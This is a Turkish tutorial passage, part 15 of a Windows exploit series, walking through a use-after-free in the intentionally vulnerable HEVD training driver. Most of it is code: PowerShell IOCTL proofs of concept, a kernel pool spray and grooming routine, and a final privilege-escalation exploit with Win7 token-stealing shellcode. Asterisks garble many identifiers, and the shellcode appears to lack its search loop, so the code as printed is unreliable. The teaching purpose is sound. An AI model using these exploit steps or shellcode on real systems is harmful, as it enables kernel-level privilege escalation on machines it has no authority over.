Bölüm 15: Kernel Sömürüsü -> UAF
Selamlar. Windows Exploit Geliştirme Serisi'nin 15. bölümüne hoş geldiniz. Bugün HackSysTeam'in aşırı savunmasız sürücüsü hakkında bir diğer konumuz var. Bu yazıda, "Karmaşık" zaafiyet sınıflarının ilki olacak olan, Bedava-Ardından-Kullan güvenlik açığından yararlanacağız! Okuyucuların, çekirdek havuzu belleği ve rezerv nesneleri hakkında kapsamlı bir açıklama sağladıkları için aşağıda listelenen kaynakları gözden geçirmelerini tavsiye ederim. Hata ayıklama ortamını kurma hakkında daha fazla ayrıntı için bölüm 10'a bakın.
Kaynaklar:
+ HackSysExtremeVulnerableDriver (HackSysTeam) - buradan
+ HackSysTeam-PSKernelPwn (FuzzySec) - buradan
+ Kernel Pool Exploitation on Windows 7 (Tarjei Mandt) - buradan
+ Reserve Objects in Windows 7 (j00ru) - buradan
Meydan Okumayı Keşfedin
Bu gönderinin keşif kısmı, UAF güvenlik açığıyla ilgili bir dizi sürücü işlevi olduğundan biraz farklıdır. Uygun olan ayrıntıları sağlamak için sırayla her birine bakacağız.
AllocateUaFObject
Kod:
NTSTATUS AllocateUaFObject() {
****NTSTATUS Status = STATUS_SUCCESS;
****PUSE_AFTER_FREE UseAfterFree = NULL;
*
****PAGED_CODE();
*
****__try {
********DbgPrint("[+] Allocating UaF Object\n");
*
********// Allocate Pool chunk
********UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPoo l,
************************************************** ************sizeof(USE_AFTER_FREE),
************************************************** ************(ULONG)POOL_TAG);
*
********if (!UseAfterFree) {
************// Unable to allocate Pool chunk
************DbgPrint("[-] Unable to allocate Pool chunk\n");
*
************Status = STATUS_NO_MEMORY;
************return Status;
********}
********else {
************DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
************DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
************DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
************DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
********}
*
********// Fill the buffer with ASCII 'A'
********RtlFillMemory((P****)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
*
********// Null terminate the char buffer
********UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
*
********// Set the object Callback function
********UseAfterFree->Callback = &UaFObjectCallback;
*
********// Assign the address of UseAfterFree to a global variable
********g_UseAfterFreeObject = UseAfterFree;
*
********DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
********DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
********DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
****}
****__except (EXCEPTION_EXECUTE_HANDLER) {
********Status = GetExceptionCode();
********DbgPrint("[-] Exception Code: 0x%X\n", Status);
****}
*
****return Status;
}
Fonksiyon sayfalanmamış bir havuz yığınını ayırır ve A ile doldurur, bir geri çağrı işaretçisini başa ekler ve boş bir sonlandırıcı ekler. IDA'da da hemen hemen aynı hikaye vardır, aşağıdaki ekran görüntüsü referans olarak kullanılabilir. Nesne boyutunun 0x58 bayt ve havuz etiketinin "Hack" olduğuna dikkat edin.
Fonksiyonu çağırmak için aşağıdaki PowerShell POC'yi kullanabiliriz.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
***
public static class EVD
{
****[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
****public static extern IntPtr CreateFile(
********String lpFileName,
********UInt32 dwDesiredAccess,
********UInt32 dwShareMode,
********IntPtr lpSecurityAttributes,
********UInt32 dwCreationDisposition,
********UInt32 dwFlagsAndAttributes,
********IntPtr hTemplateFile);
***
****[DllImport("Kernel32.dll", SetLastError = true)]
****public static extern bool DeviceIoControl(
********IntPtr hDevice,
********int IoControlCode,
********byte[] InBuffer,
********int nInBufferSize,
********byte[] OutBuffer,
********int nOutBufferSize,
********ref int pBytesReturned,
********IntPtr Overlapped);
***
****[DllImport("kernel32.dll")]
****public static extern uint GetLastError();
}
"@
***
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
***
if ($hDevice -eq -1) {
****echo "`n[!] Unable to get driver handle..`n"
****Return
} else {
****echo "`n[>] Driver information.."
****echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
****echo "[+] Handle: $hDevice"
}
**
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
FreeUaFObject
Kod:
NTSTATUS FreeUaFObject() {
****NTSTATUS Status = STATUS_UNSUCCESSFUL;
*
****PAGED_CODE();
*
****__try {
********if (g_UseAfterFreeObject) {
************DbgPrint("[+] Freeing UaF Object\n");
************DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
************DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
*
#ifdef SECURE
************// Secure Note: This is secure because the developer is setting
************// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
************ExFreePoolWithTag((P****)g_UseAfterFre eObject, (ULONG)POOL_TAG);
*
************g_UseAfterFreeObject = NULL;
#else
************// Vulnerability Note: This is a vanilla Use After Free vulnerability
************// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
************// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
************// (dangling pointer)
************ExFreePoolWithTag((P****)g_UseAfterFre eObject, (ULONG)POOL_TAG);
#endif
*
************Status = STATUS_SUCCESS;
********}
****}
****__except (EXCEPTION_EXECUTE_HANDLER) {
********Status = GetExceptionCode();
********DbgPrint("[-] Exception Code: 0x%X\n", Status);
****}
*
****return Status;
}
Oldukça basit, bu işlem, etiket değerine referans vererek havuz yığınını serbest bırakır. Bu, "g_UseAfterFreeObject" öğesinin nesne serbest bırakıldıktan sonra null olarak ayarlanmaması ve dolayısıyla eski bir nesne işaretçisini elinde tutması nedeniyle güvenlik açığına sebep olan fonksiyondur. Bunu aşağıdaki POC ile hızlıca deneyelim.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
***
public static class EVD
{
****[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
****public static extern IntPtr CreateFile(
********String lpFileName,
********UInt32 dwDesiredAccess,
********UInt32 dwShareMode,
********IntPtr lpSecurityAttributes,
********UInt32 dwCreationDisposition,
********UInt32 dwFlagsAndAttributes,
********IntPtr hTemplateFile);
***
****[DllImport("Kernel32.dll", SetLastError = true)]
****public static extern bool DeviceIoControl(
********IntPtr hDevice,
********int IoControlCode,
********byte[] InBuffer,
********int nInBufferSize,
********byte[] OutBuffer,
********int nOutBufferSize,
********ref int pBytesReturned,
********IntPtr Overlapped);
***
****[DllImport("kernel32.dll")]
****public static extern uint GetLastError();
}
"@
***
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
***
if ($hDevice -eq -1) {
****echo "`n[!] Unable to get driver handle..`n"
****Return
} else {
****echo "`n[>] Driver information.."
****echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
****echo "[+] Handle: $hDevice"
}
**
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
Havuz yığın adresinin yukarıda ayırdığımızla aynı olduğuna dikkat edin.
UseUaFObject
Kod:
NTSTATUS UseUaFObject() {
****NTSTATUS Status = STATUS_UNSUCCESSFUL;
*
****PAGED_CODE();
*
****__try {
********if (g_UseAfterFreeObject) {
************DbgPrint("[+] Using UaF Object\n");
************DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
************DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
************DbgPrint("[+] Calling Callback\n");
*
************if (g_UseAfterFreeObject->Callback) {
****************g_UseAfterFreeObject->Callback();
************}
*
************Status = STATUS_SUCCESS;
********}
****}
****__except (EXCEPTION_EXECUTE_HANDLER) {
********Status = GetExceptionCode();
********DbgPrint("[-] Exception Code: 0x%X\n", Status);
****}
*
****return Status;
}
Bu fonksiyon "g_UseAfterFreeObject" değerini okur ve nesne geri çağrısını yürütür. Bu fonksiyonu aşağıdaki POC ile çağırırsak, esasen geçici belleği çağırırız. Çünkü sistem, uygun gördüğü herhangi bir nedenle önceden serbest bırakılmış havuz yığınını yeniden görevlendirmekte özgürdür.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
***
public static class EVD
{
****[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
****public static extern IntPtr CreateFile(
********String lpFileName,
********UInt32 dwDesiredAccess,
********UInt32 dwShareMode,
********IntPtr lpSecurityAttributes,
********UInt32 dwCreationDisposition,
********UInt32 dwFlagsAndAttributes,
********IntPtr hTemplateFile);
***
****[DllImport("Kernel32.dll", SetLastError = true)]
****public static extern bool DeviceIoControl(
********IntPtr hDevice,
********int IoControlCode,
********byte[] InBuffer,
********int nInBufferSize,
********byte[] OutBuffer,
********int nOutBufferSize,
********ref int pBytesReturned,
********IntPtr Overlapped);
***
****[DllImport("kernel32.dll")]
****public static extern uint GetLastError();
}
"@
***
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
***
if ($hDevice -eq -1) {
****echo "`n[!] Unable to get driver handle..`n"
****Return
} else {
****echo "`n[>] Driver information.."
****echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
****echo "[+] Handle: $hDevice"
}
**
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
AllocateFakeObject
Sonunda ve biraz yapmacık bir şekilde, disk belleği olmayan havuza sahte bir nesne tahsis etmemize izin veren bir sürücü fonksiyonumuz var. Bu fonksiyon, orijinal UAF nesnesiyle aynı nesneleri tahsis etmemize izin verdiği için son derece kullanışlıdır.
Kod:
NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
****NTSTATUS Status = STATUS_SUCCESS;
****PFAKE_OBJECT KernelFakeObject = NULL;
*
****PAGED_CODE();
*
****__try {
********DbgPrint("[+] Creating Fake Object\n");
*
********// Allocate Pool chunk
********KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
************************************************** *************sizeof(FAKE_OBJECT),
************************************************** *************(ULONG)POOL_TAG);
*
********if (!KernelFakeObject) {
************// Unable to allocate Pool chunk
************DbgPrint("[-] Unable to allocate Pool chunk\n");
*
************Status = STATUS_NO_MEMORY;
************return Status;
********}
********else {
************DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
************DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
************DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
************DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
********}
*
********// Verify if the buffer resides in user mode
********ProbeForRead((P****)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));
*
********// Copy the Fake structure to Pool chunk
********RtlCopyMemory((P****)KernelFakeObject, (P****)UserFakeObject, sizeof(FAKE_OBJECT));
*
********// Null terminate the char buffer
********KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
*
********DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
****}
****__except (EXCEPTION_EXECUTE_HANDLER) {
********Status = GetExceptionCode();
********DbgPrint("[-] Exception Code: 0x%X\n", Status);
****}
*
****return Status;
}
Bu fonksiyonu çağıracak POC aşağıda gösterilmiştir. Burada, bir arabellek oluşturmamız ve bir giriş uzunluğu sağlamamız gerektiğine dikkat ediniz.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
***
public static class EVD
{
****[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
****public static extern IntPtr CreateFile(
********String lpFileName,
********UInt32 dwDesiredAccess,
********UInt32 dwShareMode,
********IntPtr lpSecurityAttributes,
********UInt32 dwCreationDisposition,
********UInt32 dwFlagsAndAttributes,
********IntPtr hTemplateFile);
***
****[DllImport("Kernel32.dll", SetLastError = true)]
****public static extern bool DeviceIoControl(
********IntPtr hDevice,
********int IoControlCode,
********byte[] InBuffer,
********int nInBufferSize,
********byte[] OutBuffer,
********int nOutBufferSize,
********ref int pBytesReturned,
********IntPtr Overlapped);
***
****[DllImport("kernel32.dll")]
****public static extern uint GetLastError();
}
"@
***
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
***
if ($hDevice -eq -1) {
****echo "`n[!] Unable to get driver handle..`n"
****Return
} else {
****echo "`n[>] Driver information.."
****echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
****echo "[+] Handle: $hDevice"
}
**
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len 0x60
[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
Her Şeyin Kontrolünü Al!
Oyun Planı
Pekala, temel ilke gayet açık.
(1) UAF nesnesini tahsis ediyoruz, (2) UAF nesnesini serbest bırakıyoruz, (3) Havuz yığınını sahte nesnemizle değiştiriyoruz, (4) Eski UAF işaretçisini çağırıyoruz ve bizim sahte nesnemizdeki geri arama fonksiyonu ile kodu çalıştırıyoruz. Güzel ve basit!
Burada karşılaşabileceğimiz tek sorun bellek hizalama ve havuz yığın birleştirme. Yeniden Tarjei'nin makalesini okumanızı tavsiye ederim. Esasen, UAF nesnesini serbest bırakırsak nesnenin diğer serbest havuz parçalarına bitişik olması durumunda ayırıcı, performans nedeniyle bu parçaları birleştirecektir. Bu olursa, UAF nesnesini kendi sahte nesnemizle değiştirmemiz pek olası olmayacaktır. Bundan kaçınmak için sayfalanmamış havuzu tahmin edilebilir bir duruma getirmemiz ve sürücüyü UAF nesnesini daha sonra güvenilir bir şekilde üzerine yazabileceğimiz bir konuma getirmeye zorlamamız gerekir!
Sayfalanmamış Havuzu Derandomize Etmek
Buradaki ilk amacımız, disk belleği olmayan çekirdek havuzunun "başlangıcındaki" tüm boş alanları olabildiğince iyi doldurmaktır. Bunu yapmak için, UAF nesnemize yakın boyutta bir ton nesne oluşturacağız. IoCompletionReserve nesneleri, disk belleği olmayan havuza tahsis edildikleri ve 0x60 boyutuna sahip olduklarından dolayı bu işlem için mükemmel bir adaydır!
Öncelikle, havuzu püskürtmeden önce IoCompletionReserve nesne türüne bir göz atalım (nesne türleri => "! Object\ObjectTypes" ile listelenebilir).
IoCo nesneleri oluşturmak için NtAllocateReserveObject fonksiyonunu kullanabiliriz. Bu fonksiyon oluşturulan nesneye bir tutamaç döndürür ve tutamacı bırakmadığımız sürece nesne havuzda ayrılmış şekilde kalır. Aşağıdaki POC'de, bu nesneleri iki yerde serpiyorum.
(1) Parçalanmış havuz alanını doldurmak için x10000 nesnesi ve (2) x5000 nesnesi. Ayrıca bunların ardışık olması gerek.
Hata ayıklama amacıyla komut dosyası, son 10 tanıtıcıyı standart çıktıya döker ve ardından otomatik olarak WinDBG'de bir kesme noktası başlatır.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
***
public static class EVD
{
*
****[DllImport("kernel32.dll", SetLastError = true)]
****public static extern Byte CloseHandle(
********IntPtr hObject);
*
****[DllImport("ntdll.dll", SetLastError = true)]
****public static extern int NtAllocateReserveObject(
********ref IntPtr hObject,
********UInt32* ObjectAttributes,
********UInt32 ObjectType);
*********
****[DllImport("kernel32.dll", SetLastError = true)]
****public static extern **** DebugBreak();
}
"@
*
function IoCo-PoolSpray {
****echo "[+] Derandomizing NonPagedPool.."
****$Spray = @()
****for ($i=0;$i -lt 10000;$i++) {
********$hObject = [IntPtr]::Zero
********$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
********if ($CallResult -eq 0) {
************$Spray += $hObject
********}
****}
****$Script:IoCo_hArray1 += $Spray
****echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
*
****echo "[+] Allocating sequential objects.."
****$Spray = @()
****for ($i=0;$i -lt 5000;$i++) {
********$hObject = [IntPtr]::Zero
********$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
********if ($CallResult -eq 0) {
************$Spray += $hObject
********}
****}
****$Script:IoCo_hArray2 += $Spray
****echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
}
*
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
*
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
****"{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}
*
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
Bunun gibi bir şey görmeli ve WinDBG'de bir kesme noktasına ulaşmalısınız.
IoCompletionReserve tipine bir kez daha bakarsak, aslında 15.000 tane nesne ayırdığımızı görebiliriz!
Standart çıkışa attığımız tutamaçlardan birini inceleyelim.
Beklendiği üzere bu bir IoCompletionReserve nesnesidir. Ayrıca, bunun serpiştirmemizin son tutamaçlarından biri olduğu düşünüldüğünde, sayfalanmamış havuzda ardışık tahsislere sahip olmamız gerekir.
Woot(Bir bilgisayara kök {veya yönetici} erişimi için kullanılan bir hacker terimi), nesnemizin boyutunun 0x60 (96) bayt ve bazı sabit ardışık tahsisler olduğunu görebiliriz! Son bir adım olarak, disk belleğine alınmamış havuzda delikler oluşturmak için her ikinci IoCompletionReserve nesnesini ikinci tahsisimizden (toplamda 2500 tane) kurtarmak için POC'umuza bir rutin ekleyeceğiz!
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
***
public static class EVD
{
*
****[DllImport("kernel32.dll", SetLastError = true)]
****public static extern Byte CloseHandle(
********IntPtr hObject);
*
****[DllImport("ntdll.dll", SetLastError = true)]
****public static extern int NtAllocateReserveObject(
********ref IntPtr hObject,
********UInt32* ObjectAttributes,
********UInt32 ObjectType);
*********
****[DllImport("kernel32.dll", SetLastError = true)]
****public static extern **** DebugBreak();
}
"@
*
function IoCo-PoolSpray {
****echo "[+] Derandomizing NonPagedPool.."
****$Spray = @()
****for ($i=0;$i -lt 10000;$i++) {
********$hObject = [IntPtr]::Zero
********$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
********if ($CallResult -eq 0) {
************$Spray += $hObject
********}
****}
****$Script:IoCo_hArray1 += $Spray
****echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
*
****echo "[+] Allocating sequential objects.."
****$Spray = @()
****for ($i=0;$i -lt 5000;$i++) {
********$hObject = [IntPtr]::Zero
********$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
********if ($CallResult -eq 0) {
************$Spray += $hObject
********}
****}
****$Script:IoCo_hArray2 += $Spray
****echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
*
****echo "[+] Creating non-paged pool holes.."
****for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
********$CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
********if ($CallResult -ne 0) {
************$FreeCount += 1
********}
****}
****echo "[+] Free'd $FreeCount IoCo objects!"
}
*
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
*
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
****"{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}
*
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
Bu 2500 serbest 0x60 bayt havuz yığınları artık tahmin edilebilir bir konumdadır ve her biri, tuhaf boyutlarda birleşmelerini önleyen iki ayrılmış parça ile çevrilidir!
EIP Üzerinde Kontrol Elde Etmek
Oyun planımıza göre işleri bir araya getirme zamanı.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
***
public static class EVD
{
****[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
****public static extern IntPtr CreateFile(
********String lpFileName,
********UInt32 dwDesiredAccess,
********UInt32 dwShareMode,
********IntPtr lpSecurityAttributes,
********UInt32 dwCreationDisposition,
********UInt32 dwFlagsAndAttributes,
********IntPtr hTemplateFile);
***
****[DllImport("Kernel32.dll", SetLastError = true)]
****public static extern bool DeviceIoControl(
********IntPtr hDevice,
********int IoControlCode,
********byte[] InBuffer,
********int nInBufferSize,
********byte[] OutBuffer,
********int nOutBufferSize,
********ref int pBytesReturned,
********IntPtr Overlapped);
*
****[DllImport("kernel32.dll", SetLastError = true)]
****public static extern Byte CloseHandle(
********IntPtr hObject);
*
****[DllImport("ntdll.dll", SetLastError = true)]
****public static extern int NtAllocateReserveObject(
********ref IntPtr hObject,
********UInt32* ObjectAttributes,
********UInt32 ObjectType);
***
****[DllImport("kernel32.dll")]
****public static extern uint GetLastError();
}
"@
*
function IoCo-PoolSpray {
****echo "[+] Derandomizing NonPagedPool.."
****$Spray = @()
****for ($i=0;$i -lt 10000;$i++) {
********$hObject = [IntPtr]::Zero
********$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
********if ($CallResult -eq 0) {
************$Spray += $hObject
********}
****}
****$Script:IoCo_hArray1 += $Spray
****echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
*
****echo "[+] Allocating sequential objects.."
****$Spray = @()
****for ($i=0;$i -lt 5000;$i++) {
********$hObject = [IntPtr]::Zero
********$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
********if ($CallResult -eq 0) {
************$Spray += $hObject
********}
****}
****$Script:IoCo_hArray2 += $Spray
****echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
*
****echo "[+] Creating non-paged pool holes.."
****for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
********$CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
********if ($CallResult -ne 0) {
************$FreeCount += 1
********}
****}
****echo "[+] Free'd $FreeCount IoCo objects!"
}
***
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
***
if ($hDevice -eq -1) {
****echo "`n[!] Unable to get driver handle..`n"
****Return
} else {
****echo "`n[>] Driver information.."
****echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
****echo "[+] Handle: $hDevice"
}
*
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
*
echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
*
# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
*
# Fake Object al********
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
****[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}
*
# Trigger stale callback
#---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
UseUaFObject fonksiyonuna geri çağrı işaretçisinin çağrıldığı ve son POC'umuzu çalıştırdığı bir kesme noktası koyalım.
Oyun Bitti
POC'umuzu silahlandırmak için yapmamız gereken tek şey geri arama işaretçisini kabuk kodumuzda bir işaretçi ile değiştirmektir. Daha fazla ayrıntı için lütfen aşağıdaki tüm exploit'e bakın.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
***
public static class EVD
{
****[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
****public static extern IntPtr CreateFile(
********String lpFileName,
********UInt32 dwDesiredAccess,
********UInt32 dwShareMode,
********IntPtr lpSecurityAttributes,
********UInt32 dwCreationDisposition,
********UInt32 dwFlagsAndAttributes,
********IntPtr hTemplateFile);
***
****[DllImport("Kernel32.dll", SetLastError = true)]
****public static extern bool DeviceIoControl(
********IntPtr hDevice,
********int IoControlCode,
********byte[] InBuffer,
********int nInBufferSize,
********byte[] OutBuffer,
********int nOutBufferSize,
********ref int pBytesReturned,
********IntPtr Overlapped);
*
****[DllImport("kernel32.dll", SetLastError = true)]
****public static extern Byte CloseHandle(
********IntPtr hObject);
*
****[DllImport("kernel32.dll", SetLastError = true)]
****public static extern IntPtr VirtualAlloc(
********IntPtr lpAddress,
********uint dwSize,
********UInt32 flAl********Type,
********UInt32 flProtect);
*
****[DllImport("ntdll.dll", SetLastError = true)]
****public static extern int NtAllocateReserveObject(
********ref IntPtr hObject,
********UInt32* ObjectAttributes,
********UInt32 ObjectType);
}
"@
*
function IoCo-PoolSpray {
****echo "[+] Derandomizing NonPagedPool.."
****$Spray = @()
****for ($i=0;$i -lt 10000;$i++) {
********$hObject = [IntPtr]::Zero
********$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
********if ($CallResult -eq 0) {
************$Spray += $hObject
********}
****}
****$Script:IoCo_hArray1 += $Spray
****echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
*
****echo "[+] Allocating sequential objects.."
****$Spray = @()
****for ($i=0;$i -lt 5000;$i++) {
********$hObject = [IntPtr]::Zero
********$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
********if ($CallResult -eq 0) {
************$Spray += $hObject
********}
****}
****$Script:IoCo_hArray2 += $Spray
****echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
*
****echo "[+] Creating non-paged pool holes.."
****for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
********$CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
********if ($CallResult -ne 0) {
************$FreeCount += 1
********}
****}
****echo "[+] Free'd $FreeCount IoCo objects!"
}
*
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
****#---[Setup]
****0x60,****************************** # pushad
****0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
****0x8B, 0x40, 0x50,****************** # mov eax, [eax + EPROCESS_OFFSET]
****0x89, 0xC1,************************ # mov ecx, eax (Current _EPROCESS structure)
****0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
****#---[Copy System PID token]
****0xBA, 0x04, 0x00, 0x00, 0x00,****** # mov edx, 4 (SYSTEM PID)
****0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] |
****0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
****0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
****#---[Recover]
****0x61,****************************** # popad
****0xC3******************************* # ret
)
**
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
***
